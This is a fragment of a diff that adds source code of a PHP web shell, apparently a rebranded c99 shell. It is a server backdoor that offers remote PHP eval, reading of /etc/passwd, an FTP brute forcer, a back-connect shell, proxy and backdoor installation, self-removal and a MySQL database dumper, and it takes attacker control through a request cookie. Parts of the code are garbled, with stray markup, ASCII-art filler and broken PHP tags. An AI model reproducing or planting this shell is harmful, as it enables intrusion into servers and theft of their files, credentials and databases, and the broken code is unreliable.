+$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
+$curdir = "./";
+//$curdir = getenv("DOCUMENT_ROOT");
+$tmpdir = "";
+$tmpdir_log = "./";
+//$log_email = "synsta@gmail.com";
+$sort_default = "0a";
+$sort_save = TRUE;
+$ftypes = array(
+ "html"=>array("html","htm","shtml"),
+ "txt"=>array("txt","c",".bash_history","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
+ "exe"=>array("sh","install","bat","cmd"),
+ "ini"=>array("ini","inf"),
+ "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
+ "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
+ "sdb"=>array("sdb"),
+ "phpsess"=>array("sess"),
+ "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
+);
+
+$exeftypes = array(
+ getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
+ "perl %f%" => array("pl","cgi")
+);
+$regxp_highlight = array(
+ array(basename($_SERVER["PHP_SELF"]),1,""," "), // example
+ array("config.php",1) // example
+);
+$safemode_diskettes = array("a");
+$hexdump_lines = 8;// lines in hex preview file
+$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
+$nixpwdperpage = 100; // Get first N lines from /etc/passwd
+
+
+$sess_cookie = "c99shvars"; // Cookie-variable name
+
+
+
+//Quick launch
+$quicklaunch = array(
+ array("[Home] ",$surl),
+ array("[Search] ",$surl."act=search&d=%d"),
+ array("[Encoder] ",$surl."act=encoder&d=%d"),
+ array("[Processes] ",$surl."act=processes&d=%d"),
+ array("[FTP Brute Forcer] ",$surl."act=ftpquickbrute&d=%d"),
+ array("[Server Information] ",$surl."act=security&d=%d"),
+ array("[SQL Manager] ",$surl."act=sql&d=%d"),
+ array("[Eval PHP code] ",$surl."act=eval&d=%d&eval=//readfile('/etc/passwd');"),
+ array("[Back-Connection] ",$surl."act=backc"),
+ array("[Self remove] ",$surl."act=selfremove"),
+ array("[Install Proxy] ",$surl."act=proxy"),
+ array("[Backdoor Host] ",$surl."act=shbd"),
+);
+
+//Highlight-code colors
+$highlight_background = "#c0c0c0";
+$highlight_bg = "#FFFFFF";
+$highlight_comment = "#6A6A6A";
+$highlight_default = "#0000BB";
+$highlight_html = "#1300FF";
+$highlight_keyword = "#007700";
+$highlight_string = "#000000";
+
+@$f = $_REQUEST["f"];
+@extract($_REQUEST["c99shcook"]);
+
+//END CONFIGURATION
+
+
+// \/Next code isn't for editing\/
+@set_time_limit(0);
+$tmp = array();
+foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("Access Denied");}
+if (!empty($login))
+{
+ if (empty($md5_pass)) {$md5_pass = md5($pass);}
+ if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
+ {
+ if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" | "," ",$donated_html));}
+ header("WWW-Authenticate: Basic realm=\"".$login_txt."\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit($accessdeniedmess);
+ }
+}
+if ($act != "img"){
+$lastdir = realpath(".");
+chdir($curdir);
+if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
+$sess_data = unserialize($_COOKIE["$sess_cookie"]);
+if (!is_array($sess_data)) {$sess_data = array();}
+if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+
+$disablefunc = @ini_get("disable_functions");
+if (!empty($disablefunc))
+{
+ $disablefunc = str_replace(" ","",$disablefunc);
+ $disablefunc = explode(",",$disablefunc);
+}
+
+if (!function_exists("c99_buff_prepare"))
+{
+function c99_buff_prepare()
+{
+ global $sess_data;
+ global $act;
+ foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ $sess_data["copy"] = array_unique($sess_data["copy"]);
+ $sess_data["cut"] = array_unique($sess_data["cut"]);
+ sort($sess_data["copy"]);
+ sort($sess_data["cut"]);
+ if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
+ else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
+}
+}
+c99_buff_prepare();
+if (!function_exists("c99_sess_put"))
+{
+function c99_sess_put($data)
+{
+ global $sess_cookie;
+ global $sess_data;
+ c99_buff_prepare();
+ $sess_data = $data;
+ $data = serialize($data);
+ setcookie($sess_cookie,$data);
+}
+}
+foreach (array("sort","sql_sort") as $v)
+{
+ if (!empty($_GET[$v])) {$$v = $_GET[$v];}
+ if (!empty($_POST[$v])) {$$v = $_POST[$v];}
+}
+if ($sort_save)
+{
+ if (!empty($sort)) {setcookie("sort",$sort);}
+ if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
+}
+if (!function_exists("str2mini"))
+{
+function str2mini($content,$len)
+{
+ if (strlen($content) > $len)
+ {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0,$len)."...".substr($content,-$len);
+ }
+ else {return $content;}
+}
+}
+if (!function_exists("view_size"))
+{
+function view_size($size)
+{
+ if (!is_numeric($size)) {return FALSE;}
+ else
+ {
+ if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
+ elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
+ elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
+ else {$size = $size . " B";}
+ return $size;
+ }
+}
+}
+if (!function_exists("fs_copy_dir"))
+{
+function fs_copy_dir($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_copy_obj"))
+{
+function fs_copy_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (!is_dir(dirname($t))) {mkdir(dirname($t));}
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_copy_dir($d,$t);
+ }
+ elseif (is_file($d)) {return copy($d,$t);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_move_dir"))
+{
+function fs_move_dir($d,$t)
+{
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ $ret = TRUE;
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_move_obj"))
+{
+function fs_move_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_move_dir($d,$t);
+ }
+ elseif (is_file($d))
+ {
+ if(copy($d,$t)) {return unlink($d);}
+ else {unlink($t); return FALSE;}
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_rmdir"))
+{
+function fs_rmdir($d)
+{
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+ else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
+ }
+ }
+ closedir($h);
+ rmdir($d);
+ return !is_dir($d);
+}
+}
+if (!function_exists("fs_rmobj"))
+{
+function fs_rmobj($o)
+{
+ $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
+ if (is_dir($o))
+ {
+ if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
+ return fs_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
+if (!function_exists("view_perms"))
+{
+function view_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+
+ $owner["read"] = ($mode & 00400)?"r":"-";
+ $owner["write"] = ($mode & 00200)?"w":"-";
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+ $group["read"] = ($mode & 00040)?"r":"-";
+ $group["write"] = ($mode & 00020)?"w":"-";
+ $group["execute"] = ($mode & 00010)?"x":"-";
+ $world["read"] = ($mode & 00004)?"r":"-";
+ $world["write"] = ($mode & 00002)? "w":"-";
+ $world["execute"] = ($mode & 00001)?"x":"-";
+
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+
+ return $type.join("",$owner).join("",$group).join("",$world);
+}
+}
+if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
+if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
+if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
+if (!function_exists("parse_perms"))
+{
+function parse_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$t = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
+ else {$t = "?";}
+ $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
+ $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
+ $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
+ return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
+}
+}
+if (!function_exists("parsesort"))
+{
+function parsesort($sort)
+{
+ $one = intval($sort);
+ $second = substr($sort,-1);
+ if ($second != "d") {$second = "a";}
+ return array($one,$second);
+}
+}
+if (!function_exists("view_perms_color"))
+{
+function view_perms_color($o)
+{
+ if (!is_readable($o)) {return "".view_perms(fileperms($o))." ";}
+ elseif (!is_writable($o)) {return "".view_perms(fileperms($o))." ";}
+ else {return "".view_perms(fileperms($o))." ";}
+}
+}
+if (!function_exists("mysql_dump")){
+function mysql_dump($set)
+{
+ global $shver;
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ $ret["err"] = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = 0;}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (empty($file))
+ {
+ $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (sizeof($tabs) == 0)
+ {
+ // retrive tables-list
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ $out = "# Dumped by ".$shver."
+# Home page: http://w4ck1ng.com
+#
+# Host settings:
+# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
+# Date: ".date("d.m.Y H:i:s")."
+# DB: \"".$db."\"
+#---------------------------------------------------------
+";
+ $c = count($onlytabs);
+ foreach($tabs as $tab)
+ {
+ if ((in_array($tab,$onlytabs)) or (!$c))
+ {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+ // recieve query for create table structure
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret["err"][] = mysql_smarterror();}
+ else
+ {
+ $row = mysql_fetch_row($res);
+ $out .= $row["1"].";\n\n";
+ // recieve table variables
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0)
+ {
+ while ($row = mysql_fetch_assoc($res))
+ {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file)
+ {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret["err"][] = 2;}
+ else
+ {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $out;
+}
+}
+if (!function_exists("mysql_buildwhere"))
+{
+function mysql_buildwhere($array,$sep=" and",$functs=array())
+{
+ if (!is_array($array)) {$array = array();}
+ $result = "";
+ foreach($array as $k=>$v)
+ {
+ $value = "";
+ if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
+ $value .= "'".addslashes($v)."'";
+ if (!empty($functs[$k])) {$value .= ")";}
+ $result .= "`".$k."` = ".$value.$sep;
+ }
+ $result = substr($result,0,strlen($result)-strlen($sep));
+ return $result;
+}
+}
+if (!function_exists("mysql_fetch_all"))
+{
+function mysql_fetch_all($query,$sock)
+{
+ if ($sock) {$result = mysql_query($query,$sock);}
+ else {$result = mysql_query($query);}
+ $array = array();
+ while ($row = mysql_fetch_array($result)) {$array[] = $row;}
+ mysql_free_result($result);
+ return $array;
+}
+}
+if (!function_exists("mysql_smarterror"))
+{
+function mysql_smarterror($type,$sock)
+{
+ if ($sock) {$error = mysql_error($sock);}
+ else {$error = mysql_error();}
+ $error = htmlspecialchars($error);
+ return $error;
+}
+}
+if (!function_exists("mysql_query_form"))
+{
+function mysql_query_form()
+{
+ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act))
+ {
+ echo "";
+ }
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
+}
+}
+if (!function_exists("mysql_create_db"))
+{
+function mysql_create_db($db,$sock="")
+{
+ $sql = "CREATE DATABASE `".addslashes($db)."`;";
+ if ($sock) {return mysql_query($sql,$sock);}
+ else {return mysql_query($sql);}
+}
+}
+if (!function_exists("mysql_query_parse"))
+{
+function mysql_query_parse($query)
+{
+ $query = trim($query);
+ $arr = explode (" ",$query);
+ /*array array()
+ {
+ "METHOD"=>array(output_type),
+ "METHOD1"...
+ ...
+ }
+ if output_type == 0, no output,
+ if output_type == 1, no output if no error
+ if output_type == 2, output without control-buttons
+ if output_type == 3, output with control-buttons
+ */
+ $types = array(
+ "SELECT"=>array(3,1),
+ "SHOW"=>array(2,1),
+ "DELETE"=>array(1),
+ "DROP"=>array(1)
+ );
+ $result = array();
+ $op = strtoupper($arr[0]);
+ if (is_array($types[$op]))
+ {
+ $result["propertions"] = $types[$op];
+ $result["query"] = $query;
+ if ($types[$op] == 2)
+ {
+ foreach($arr as $k=>$v)
+ {
+ if (strtoupper($v) == "LIMIT")
+ {
+ $result["limit"] = $arr[$k+1];
+ $result["limit"] = explode(",",$result["limit"]);
+ if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
+ unset($arr[$k],$arr[$k+1]);
+ }
+ }
+ }
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("c99fsearch"))
+{
+function c99fsearch($d)
+{
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $search_i_f;
+ global $search_i_d;
+ global $a;
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($f = readdir($h)) !== FALSE)
+ {
+ if($f != "." && $f != "..")
+ {
+ $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
+ if (is_dir($d.$f))
+ {
+ $search_i_d++;
+ if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
+ if (!is_link($d.$f)) {c99fsearch($d.$f);}
+ }
+ else
+ {
+ $search_i_f++;
+ if ($bool)
+ {
+ if (!empty($a["text"]))
+ {
+ $r = @file_get_contents($d.$f);
+ if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
+ if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
+ if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
+ else {$bool = strpos(" ".$r,$a["text"],1);}
+ if ($a["text_not"]) {$bool = !$bool;}
+ if ($bool) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($h);
+}
+}
+if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
+//Sending headers
+@ob_start();
+@ob_implicit_flush(0);
+function onphpshutdown()
+{
+ global $gzipencode,$ft;
+ if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
+ {
+ $v = @ob_get_contents();
+ @ob_end_clean();
+ @ob_start("ob_gzHandler");
+ echo $v;
+ @ob_end_flush();
+ }
+}
+function c99shexit()
+{
+ onphpshutdown();
+ exit;
+}
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", FALSE);
+header("Pragma: no-cache");
+if (empty($tmpdir))
+{
+ $tmpdir = ini_get("upload_tmp_dir");
+ if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
+}
+$tmpdir = realpath($tmpdir);
+$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
+if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
+if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
+else {$tmpdir_logs = realpath($tmpdir_logs);}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = TRUE;
+ $hsafemode = "ON (secure) ";
+}
+else {$safemode = FALSE; $hsafemode = "OFF (not secure) ";}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v." ";}
+else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure) ";}
+$sort = htmlspecialchars($sort);
+if (empty($sort)) {$sort = $sort_default;}
+$sort[1] = strtolower($sort[1]);
+$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
+if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." ",htmlspecialchars($DISP_SERVER_SOFTWARE));
+@ini_set("highlight.bg",$highlight_bg); //FFFFFF
+@ini_set("highlight.comment",$highlight_comment); //#FF8000
+@ini_set("highlight.default",$highlight_default); //#0000BB
+@ini_set("highlight.html",$highlight_html); //#000000
+@ini_set("highlight.keyword",$highlight_keyword); //#007700
+@ini_set("highlight.string",$highlight_string); //#DD0000
+if (!is_array($actbox)) {$actbox = array();}
+$dspact = $act = htmlspecialchars($act);
+$disp_fullpath = $ls_arr = $notls = null;
+$ud = urlencode($d);
+?>
+
+shell@
+
+ k1ngw4ck1ng w 4ck1 ngw4ck1n gw4c k 1ngw4ck 1ngw 4ck 1 ngw4ck1ngw4ck1ng w4 ck1ngw4ck1 n gw4ck1ngw 4 ck1ngw4ck1 n gw4c k1ng w4ck1ngw4ck1ngw4ck1ngw4ck1ng
+
+ w4ck1ngw4c k1n gw4ck 1ngw4 ck 1ngw4ck1n gw 4ck1n g w 4ck1ngw4ck 1ngw4 ck 1ng w4ck1n gw4ck1 ngw4ck 1n gw4ck1ngw 4ck 1ng w4ck 1ngw4ck1ngw4ck1ngw4ck1ngw4ck
+
+ 1ngw4ck1ng w4ck 1ngw 4ck1 ngw4 ck1 ng w4c k1 ngw4 c k1 ngw 4 ck 1ngw4ck1ng w 4ck 1ng w4ck1n gw4ck1ngw 4ck 1ngw4ck1 ngw4 c k1ngw 4ck1n gw4ck1ngw4ck 1ngw4ck1ngw
+
+ 4ck1ngw4ck1 ngw4 ck 1ngw4 ck1 ngw4 ck1ngw 4ck1 n gw4 ck1 ngw4ck 1ngw4 ck 1 ngw4ck1n gw4ck1ngw4ck 1ngw 4ck1ngw4 ck1n g w4ck1ng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w4ck1
+ ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1ngw4ck1 n gw4ck1ngw4ck1ngw4ck1ng w 4ck1ngw4
+
Software:
System Info: ",1); ?>
echo "Disabled functions : ";
+if(''==($df=@ini_get('disable_functions'))){echo "NONE ";}else{echo "$df ";} ?>We are: ",1);} else {echo get_current_user();} ?>cURL: ".(($curl_on)?("ON "):("OFF ")); ?> if(@ini_get("register_globals")){$reg_g="ON ";}else{$reg_g="OFF ";} echo("Register globals: $reg_g"); ?>MySQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ON "; } else { echo "OFF "; }
+echo " ";
+echo " MSSQL: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ON ";}else{echo "OFF ";} ?>PostgreSQL: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ON ";}else{echo "OFF ";} ?>Oracle: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "ON ";}else{echo "OFF ";} ?>
Safe-mode:
".htmlspecialchars($b).DIRECTORY_SEPARATOR." ";
+ $i++;
+}
+echo " ";
+if (is_writable($d))
+{
+ $wd = TRUE;
+ $wdt = "[ ok ] ";
+ echo "".view_perms(fileperms($d))." ";
+}
+else
+{
+ $wd = FALSE;
+ $wdt = "[ Read-Only ] ";
+ echo "".view_perms_color($d)." ";
+}
+if (is_callable("disk_free_space"))
+{
+ $free = disk_free_space($d);
+ $total = disk_total_space($d);
+ if ($free === FALSE) {$free = 0;}
+ if ($total === FALSE) {$total = 0;}
+ if ($free < 0) {$free = 0;}
+ if ($total < 0) {$total = 0;}
+ $used = $total-$free;
+ $free_percent = round(100/($total/$free),2);
+ echo "Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%) ";
+
+}
+echo " ";
+echo "Your ip: ".$_SERVER["REMOTE_ADDR"]." - Server ip: ".gethostbyname($_SERVER["HTTP_HOST"])." ";
+$letters = "";
+if ($win)
+{
+ $v = explode("\\",$d);
+ $v = $v[0];
+ foreach (range("a","z") as $letter)
+ {
+ $bool = $isdiskette = in_array($letter,$safemode_diskettes);
+ if (!$bool) {$bool = is_dir($letter.":\\");}
+ if ($bool)
+ {
+ $letters .= "[ ";
+ if ($letter.":" != $v) {$letters .= $letter;}
+ else {$letters .= "".$letter." ";}
+ $letters .= " ] ";
+ }
+ }
+ if (!empty($letters)) {echo "Detected drives : ".$letters." ";}
+}
+if (count($quicklaunch) > 0)
+{
+ foreach($quicklaunch as $item)
+ {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+ echo "".$item[0]." ";
+ }
+}
+echo "
";
+if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "
";}
+echo "
";
+if ($act == "") {$act = $dspact = "ls";}
+if ($act == "sql")
+{
+ $sql_surl = $surl."act=sql";
+ if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
+ if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
+ if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
+ if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
+ if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
+ $sql_surl .= "&";
+ ?>SQL Manager: ";
+ if (!$sql_sock)
+ {
+ if (!$sql_server) {echo "NO CONNECTION";}
+ else {echo "Can't connect "; echo "".$err." ";}
+ }
+ else
+ {
+ $sqlquicklaunch = array();
+ $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+ $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
+ $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+ $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+ $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+ $sqlquicklaunch[] = array("Logout",$surl."act=sql");
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
+ if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ }
+ echo " ";
+ if (!$sql_sock) {?>If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) ">Home ".htmlspecialchars($sql_db)." ]--- ";
+ $c = 0;
